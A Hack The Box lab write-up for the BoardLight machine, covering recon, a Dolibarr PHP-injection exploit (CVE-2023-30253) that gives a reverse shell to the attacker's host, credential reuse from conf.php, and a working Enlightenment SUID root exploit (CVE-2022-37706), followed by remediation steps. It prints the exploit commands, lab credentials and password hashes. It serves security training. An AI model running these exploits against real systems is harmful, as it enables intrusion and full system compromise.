HTB: BoardLight
BoardLight is an easy Linux machine featuring a Dolibarr CRM/ERP instance vulnerable to CVE-2023-30253, PHP code injection to gain a foothold, reused database credentials to pivot laterally, and an Enlightenment SUID abuse (CVE-2022-37706) for privesc.
TL;DR#
IPs#
Hack The Box assigned the IP address 10.10.11.11 for Boardlight. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.
Kill Chain#
Dolibarr 17.0.0 ➔ Default Credentials ➔ PHP Code Injection: CVE-2023-30253 ➔ www-data ➔ Password Reuse (
conf.php) ➔ larissa ➔ Enlightenment SUID Abuse: CVE-2022-37706 ➔ root
Reconnaissance & Enumeration#
TCP Scan: nmap#
My nmap scan lists two open TCP ports, 22/ssh and 80/http running Apache 2.4.41:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:56 UTC
Nmap scan report for 10.10.11.11
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.52 secondsnmap — cheatsheet reference
-sCruns scripts scan,-sVdetects service versions,-p-scans all ports, and--min-rate 10000sets the minimum packet sending speed.
Website: Port 80#
The website on port 80/http is a cybersecurity landing page:
The footer shows a mail address info@board.htb revealing the domain:
I also notice there is a contact page, so the website is serving php:
Content Enumeration: feroxbuster#
feroxbuster confirms that php is available too, but adds nothing new:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ feroxbuster -u http://10.10.11.11 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.11
🚩 In-Scope Url │ 10.10.11.11
🚀 Threads │ 50
📖 Wordlist │ /usr/share/feroxbuster/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 315c http://10.10.11.11/images => http://10.10.11.11/images/
301 GET 9l 28w 311c http://10.10.11.11/js => http://10.10.11.11/js/
301 GET 9l 28w 312c http://10.10.11.11/css => http://10.10.11.11/css/
200 GET 11l 50w 2892c http://10.10.11.11/images/d-1.png
200 GET 7l 48w 3995c http://10.10.11.11/images/d-5.png
200 GET 5l 23w 1217c http://10.10.11.11/images/location-white.png
200 GET 6l 52w 1968c http://10.10.11.11/images/twitter.png
200 GET 6l 57w 1878c http://10.10.11.11/images/youtube.png
200 GET 5l 48w 1493c http://10.10.11.11/images/fb.png
200 GET 100l 178w 1904c http://10.10.11.11/css/responsive.css
200 GET 5l 12w 847c http://10.10.11.11/images/envelope-white.png
200 GET 6l 12w 491c http://10.10.11.11/images/user.png
200 GET 3l 10w 667c http://10.10.11.11/images/telephone-white.png
200 GET 5l 55w 1797c http://10.10.11.11/images/linkedin.png
200 GET 5l 14w 1227c http://10.10.11.11/images/insta.png
200 GET 9l 24w 2405c http://10.10.11.11/images/d-2.png
200 GET 280l 652w 9100c http://10.10.11.11/about.php
200 GET 294l 633w 9209c http://10.10.11.11/do.php
200 GET 294l 635w 9426c http://10.10.11.11/contact.php
200 GET 714l 1381w 13685c http://10.10.11.11/css/style.css
200 GET 517l 1053w 15949c http://10.10.11.11/index.php
200 GET 2l 1276w 88145c http://10.10.11.11/js/jquery-3.4.1.min.js
200 GET 348l 2369w 178082c http://10.10.11.11/images/map-img.png
200 GET 536l 2364w 201645c http://10.10.11.11/images/who-img.jpg
200 GET 4437l 10973w 131639c http://10.10.11.11/js/bootstrap.js
200 GET 10038l 19587w 192348c http://10.10.11.11/css/bootstrap.css
200 GET 517l 1053w 15949c http://10.10.11.11/
[####################] - 3m 240072/240072 0s found:27 errors:39258
[####################] - 3m 60000/60000 359/s http://10.10.11.11/
[####################] - 3m 60000/60000 360/s http://10.10.11.11/images/
[####################] - 3m 60000/60000 359/s http://10.10.11.11/js/
[####################] - 3m 60000/60000 360/s http://10.10.11.11/css/Subdomain Fuzzing: ffuf#
ffuf finds the subdomain crm.board.htb via vhost-fuzzing:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ ffuf -u http://10.10.11.11 -H "Host: FUZZ.board.htb" -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.11
:: Wordlist : FUZZ: /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 977ms]
#www [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 23ms]
#mail [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 21ms]
:: Progress: [19966/19966] :: Job [1/1] :: 426 req/sec :: Duration: [0:00:42] :: Errors: 0 ::ffuf — cheatsheet reference
seclists — cheatsheet reference
-uspecifies the target URL,-Hsets the Host header for fuzzing,-wprovides the wordlist,-mc allmatches all HTTP response codes, and-acautomatically filters out false positives.
I write both the found domain and subdomain to my /etc/hosts for easy usage:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ echo "10.10.11.11 board.htb crm.board.htb" | sudo tee -a /etc/hostsInitial Foothold#
Dolibarr 17.0.0: crm.board.htb#
The newly discovered subdomain crm.board.htb hosts an instance of Dolibarr, which is an open source ERP/CRM software. I can see the running version 17.0.0 directly on the login page:
Default Credentials#
I found a forum post mentioning default credentials on fresh installations:
- Username:
admin - Password:
admin
Logged in! I’m now authenticated as admin and have access to the Dolibarr panel:
PHP Code Injection: CVE-2023-30253#
Searching for known CVEs I find that Dolibarr ≤ 17.0.0 is vulnerable against CVE-2023-30253. Dolibarr sanitizes CMS content to block PHP execution. The filter checks for the literal string <?php and rejects it. The check itself is case-insensitive; but PHP’s parser is not. Sending payloads like <?PHP system('id'); ?> bypasses that filter and executes remotely.
At the time my writeup is published there are multiple PoCs out in the wild. I clone and test the one from nikn0laty:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
Cloning into 'Exploit-for-Dolibarr-17.0.0-CVE-2023-30253'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (18/18), 9.17 KiB | 9.17 MiB/s, done.
Resolving deltas: 100% (3/3), done.
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ cd Exploit-for-Dolibarr-17.0.0-CVE-2023-3025
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py -h
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001
---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---
positional arguments:
hostname Target hostname
username Username of Dolibarr ERP/CRM
password Password of Dolibarr ERP/CRM
lhost Listening host for reverse shell
lport Listening port for reverse shell
options:
-h, --help show this help message and exitExecuting the exploit should establish a reverse shell back to my kali:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ python3 exploit.py http://crm.board.htb admin admin 10.10.4.4 443
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connectionReverse Shell: www-data#
I set up a netcat listener on port 443 to catch it. I wrap it with rlwrap to add command history, arrow keys, and tab-completion to the reverse shell, much more usable than plain nc alone:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.10.11.11] 59396
bash: cannot set terminal process group (872): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$netcat — cheatsheet reference
-cclears the line before readline,-Aadds input to history regardless of duplicates, and-ruses raw mode for special characters.
Exploit works fine, I’m in! rlwrap already makes my connection more usable, but the remote shell itself is still limited. Let me stabilize and upgrade it to have a proper bash shell experience:
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<te$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ ^Z
zsh: suspended rlwrap -cAr nc -nlvp 443
┌──(kali㉿shadowcat-[~/htb/writeups/boardlight/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
└─$ stty raw -echo; fg
[1] + continued rlwrap -cAr nc -nlvp 443
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ export TERM=xterm-256color
<b/htdocs/public/website$ export TERM=xterm-256color
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ stty rows 40 columns 120
stty rows 40 columns 120
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$netcat — cheatsheet reference
pty-upgrade — cheatsheet reference
python3 -c 'import pty; pty.spawn("/bin/bash")'spawns an interactive bash shell. PressCtrl+Zto place the shell in background afterwards.stty raw -echodisables echo and puts the terminal in raw mode so special characters (Ctrl+C, arrow keys, etc.) work properly;fgbrings the reverse shell back.export TERM=xterm-256colortells bash to use a proper terminal type with color support.stty rows 40 columns 120sets the terminal size so text doesn’t wrap awkwardly.
After my shell is stable I run a short id check which reveals the service account serving Dolibarr is www-data:
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Database Credentials: conf.php#
I will have a look into the configuration file from Dolibarr hunting for credentials:
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cd ../../conf
cd ../../conf
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -al
ls -al
total 56
drwxr-xr-x 2 www-data www-data 4096 May 17 2024 .
drwxr-xr-x 79 www-data www-data 4096 Mar 4 2023 ..
-rw-r--r-- 1 www-data www-data 31 Mar 4 2023 .htaccess
-rw-r--r-- 1 www-data www-data 1736 May 17 2024 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 2024 conf.php.old
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';
//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';The database configuration shows Dolibarr uses a MySQLi database to store content and reveal used credentials:
- Username:
dolibarrowner - Password:
serverfun2$2023!!
User Discovery: /home#
Let’s see what other users I can find, so checking /home lists a user called larissa, but I have no permission to access her folder:
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cd /home
www-data@boardlight:~/home$ ls -al /home
ls -al /home
total 12
drwxr-xr-x 3 root root 4096 May 17 2024 .
drwxr-xr-x 19 root root 4096 May 17 2024 ..
drwxr-x--- 15 larissa larissa 4096 May 17 2024 larissa
www-data@boardlight:/home$ cd larissa
cd larissa
bash: cd: larissa: Permission deniedLateral Movement#
Password Reuse: larissa#
But what if I reuse the found database password, maybe she was lazy and used the same password for her account, too?
Let’s try to connect via ssh and reuse the password:
┌──(kali㉿shadowcat)-[~/htb/writeups/boardlight]
└─$ ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password: serverfun2$2023!!
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
larissa@boardlight:~$She indeed was lazy! I’m now logged in via ssh as larissa:
larissa@boardlight:~$ id
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
larissa@boardlight:~$ ls -al
total 76
drwxr-x--- 15 larissa larissa 4096 May 17 2024 .
drwxr-xr-x 3 root root 4096 May 17 2024 ..
lrwxrwxrwx 1 root root 9 Sep 18 2023 .bash_history -> /dev/null
-rw-r--r-- 1 larissa larissa 220 Sep 17 2023 .bash_logout
-rw-r--r-- 1 larissa larissa 3771 Sep 17 2023 .bashrc
drwx------ 2 larissa larissa 4096 Nov 21 22:06 .cache
drwx------ 12 larissa larissa 4096 May 17 2024 .config
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Desktop
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Documents
drwxr-xr-x 3 larissa larissa 4096 May 17 2024 Downloads
drwxr-xr-x 3 larissa larissa 4096 May 17 2024 .local
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Music
lrwxrwxrwx 1 larissa larissa 9 Sep 18 2023 .mysql_history -> /dev/null
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Pictures
-rw-r--r-- 1 larissa larissa 807 Sep 17 2023 .profile
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Public
drwx------ 2 larissa larissa 4096 May 17 2024 .run
drwx------ 2 larissa larissa 4096 May 17 2024 .ssh
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 Templates
-rw-r----- 1 root larissa 33 Nov 21 22:06 user.txt
drwxr-xr-x 2 larissa larissa 4096 May 17 2024 VideosUser Flag#
I quickly harvest the user flag:
larissa@boardlight:~$ cat user.txt
4ffa7f00a197b075530b5c0f2362e9bbPrivilege Escalation#
Sudo Privileges: sudo -l#
The first command I’ll always run after moving laterally is sudo -l to check if the user got any sudo permissions. Sadly larissa has none:
larissa@boardlight:~$ sudo -l
Sorry, user larissa may not run sudo on localhost.sudo-abuse — cheatsheet reference
Enlightenment SUID Abuse: CVE-2022-37706#
Next, I’ll look for SUID binaries — executables running as root that might be exploitable. Let me scan the system for anything with the setuid bit set:
larissa@boardlight:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
larissa@boardlight:~$ ls -al /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_syssuid-abuse — cheatsheet reference
Interesting! Enlightenment is an open source X11 window manager. Let me check what version is installed:
larissa@boardlight:~$ dpkg -l | grep enlightenment
hi enlightenment 0.23.1-4 amd64 X11 window manager based on EFL
hi enlightenment-data 0.23.1-4 all X11 window manager based on EFL - run time data files
larissa@boardlight:~$ enlightenment --version
ESTART: 0.00001 [0.00001] - Begin Startup
ESTART: 0.00129 [0.00129] - Signal Trap
ESTART: 0.00136 [0.00007] - Signal Trap Done
ESTART: 0.00308 [0.00172] - Eina Init
ESTART: 0.00598 [0.00289] - Eina Init Done
ESTART: 0.00612 [0.00014] - Determine Prefix
ESTART: 0.00712 [0.00100] - Determine Prefix Done
ESTART: 0.00718 [0.00007] - Environment Variables
ESTART: 0.00724 [0.00006] - Environment Variables Done
ESTART: 0.00729 [0.00005] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!After a web search I find that this version of Enlightenment 0.23.1 is vulnerable to CVE-2022-37706, a local privilege escalation flaw in the enlightenment_sys SUID binary. The bug is in how the binary validates mount paths. It doesn’t properly sanitize pathnames that start with /dev/...
The enlightenment_sys binary runs as root and constructs mount commands with user-supplied paths. When I pass /dev/../tmp/;/tmp/shadowcat to the binary, the path traversal logic resolves it. The /dev/.. part traverses back to /, then navigates into /tmp. So the path effectively becomes /tmp/;/tmp/shadowcat.
So I’ll replicate the exploit manually to show exactly how it works. First, I need to create the directory structure:
larissa@boardlight:~$ mkdir /tmp/net
larissa@boardlight:~$ mkdir -p "/tmp/;/tmp/shadowcat"
larissa@boardlight:~$ echo "/bin/bash -p" > /tmp/shadowcat
larissa@boardlight:~$ chmod +x /tmp/shadowcat
larissa@boardlight:~$ ls -al | find "/tmp/;"
/tmp/;
/tmp/;/tmp
/tmp/;/tmp/shadowcatNow I craft and execute the exploit:
larissa@boardlight:~$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/shadowcat" /tmp///net
mount: /dev/../tmp/: can't find in /etc/fstab.
root@boardlight:/home/larissa#The exploit works! I’m root now! Let me confirm:
root@boardlight:/home/larissa# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
root@boardlight:/home/larissa# cd /root
root@boardlight:/root# ls -al
total 44
drwx------ 8 root root 4096 Nov 21 22:53 .
drwxr-xr-x 19 root root 4096 May 17 2024 ..
lrwxrwxrwx 1 root root 9 May 16 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 6 root root 4096 May 2 2024 .cache
drwx------ 7 root root 4096 Sep 17 2023 .config
drwx------ 3 root root 4096 Sep 17 2023 .dbus
drwxr-xr-x 3 root root 4096 Sep 17 2023 .local
lrwxrwxrwx 1 root root 9 May 16 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root larissa 4096 Sep 17 2023 .run
-rw-r----- 1 root root 33 Nov 21 22:53 root.txt
drwxr-xr-x 3 root root 4096 Sep 17 2023 snapRoot Flag#
BoardLight is pwned and I catch the root flag:
root@boardlight:/root# cat root.txt
a78d034d53f9716424644f8653e1c466Pwned#
Vulnerabilities#
Beyond root, let me summarize which vulnerabilities I found and used on BoardLight:
Vulnerabilities Summary#
| Vulnerability | CVE / CWE | Severity | Root Cause | Real-World Impact |
|---|---|---|---|---|
| Dolibarr Default Credentials | CWE-1392 | Critical | Installer allows admin:admin to persist, no forced password change on first login | Unauthenticated CRM access, full admin privileges |
| PHP Code Injection | CVE-2023-30253 / CWE-94 | High | Filter checks <?php case-insensitive but PHP parser is case-sensitive; <?PHP bypasses filter | RCE as www-data, CMS injection, arbitrary file write |
| Database Credentials: conf.php | CWE-256 | Medium | Database password in conf.php with world-readable permissions (0644), no getenv() function available | DB credential disclosure, direct database access, lateral movement fuel |
| Password Reuse: larissa | CWE-521 | High | dolibarrowner DB password reused for larissa user account | Horizontal escalation from www-data to user larissa via ssh |
| Enlightenment SUID Abuse | CVE-2022-37706 / CWE-22 | High | enlightenment_sys SUID binary fails to validate mount paths (/dev/../tmp/; traversal bypass) | Local privilege escalation to root, full system compromise |
Remediation#
If I were lazy larissa or the owner of this machine, these are my quick steps to mitigate the complete Kill Chain:
Change Dolibarr Default Credentials (CWE-1392)#
Change the default admin password immediately via panel or directly in the database:
root@boardlight:~# mysql dolibarr -e "SELECT login, pass_crypted FROM llx_user WHERE login = 'admin';"
+-------+--------------------------------------------------------------+
| login | pass_crypted |
+-------+--------------------------------------------------------------+
| admin | $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 |
+-------+--------------------------------------------------------------+
root@boardlight:~# read -sp "Enter new password: " password && echo "" && mysql dolibarr -e "UPDATE llx_user SET pass_crypted = '$(php -r "echo password_hash('$password', PASSWORD_BCRYPT);")' WHERE login = 'admin';" && unset password
Enter new password:
root@boardlight:~# mysql dolibarr -e "SELECT login, pass_crypted FROM llx_user WHERE login = 'admin';"
+-------+--------------------------------------------------------------+
| login | pass_crypted |
+-------+--------------------------------------------------------------+
| admin | $2y$10$waecHkO1wOy9Lx2eqx7a/uxX8jHlKIwpPSAnv8WP0hY034isXMcx. |
+-------+--------------------------------------------------------------+Updating Dolibarr (CVE-2023-30253)#
Prevent PHP code injection by updating Dolibarr > 17.0.1 which fixes CVE-2023-30253.
Restrict Database Credentials: conf.php (CWE-256)#
As Dolibarr 17.0.0 needs the configuration file to function properly and does not support the getenv() function, I can only restrict file permissions here:
root@boardlight:~# ls -al /var/www/html/crm.board.htb/htdocs/conf/conf.php
-rw-r--r-- 1 www-data www-data 1736 May 17 2024 /var/www/html/crm.board.htb/htdocs/conf/conf.php
root@boardlight:~# chmod 0400 /var/www/html/crm.board.htb/htdocs/conf/conf.php
root@boardlight:~# ls -al /var/www/html/crm.board.htb/htdocs/conf/conf.php
-r-------- 1 www-data www-data 1736 May 17 2024 /var/www/html/crm.board.htb/htdocs/conf/conf.phpNew Password for larissa (CWE-521)#
More important is that larissa needs a unique, strong password to prevent password reuse at all. Let me change her password and double check that the hash in /etc/passwd changes:
root@boardlight:~# cat /etc/shadow | grep larissa
larissa:$6$zNTCKunWYdACDiCg$m1Ci3x/AkPAUZM/YzNIXd7Ou89u/hMPPRAboFhbbevXu30s2PNtXcUvO3K1IwKIyxh.UKsonvBxKzDkedo7cw0:19860:0:99999:7:::
root@boardlight:~# passwd larissa
New password:
Retype new password:
passwd: password updated successfully
root@boardlight:~# cat /etc/shadow | grep larissa
larissa:$6$Im2vUTfOyITnKDJp$ySiPhBWLATviOEm8wc3VDygYgk6M.R6vjwi7ScSf35NSoqPUOy5s0dLz9afRkF1oHjdXbLuM2xOXidonxCYoJ1:20649:0:99999:7:::- It would be wise to implement a strong password policy requiring different credentials across the system. Consider using centralized authentication (LDAP, Active Directory) to enforce complexity and reuse prevention.
Remove Enlightenment SUID (CVE-2022-37706)#
Beside updating Enlightenment 0.23.1 to the latest version, I remove the SUID bit from the vulnerable enlightenment_sys binary and verify:
root@boardlight:~# ls -al /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
root@boardlight:~# chmod -s /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
root@boardlight:~# ls -al /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwxr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys


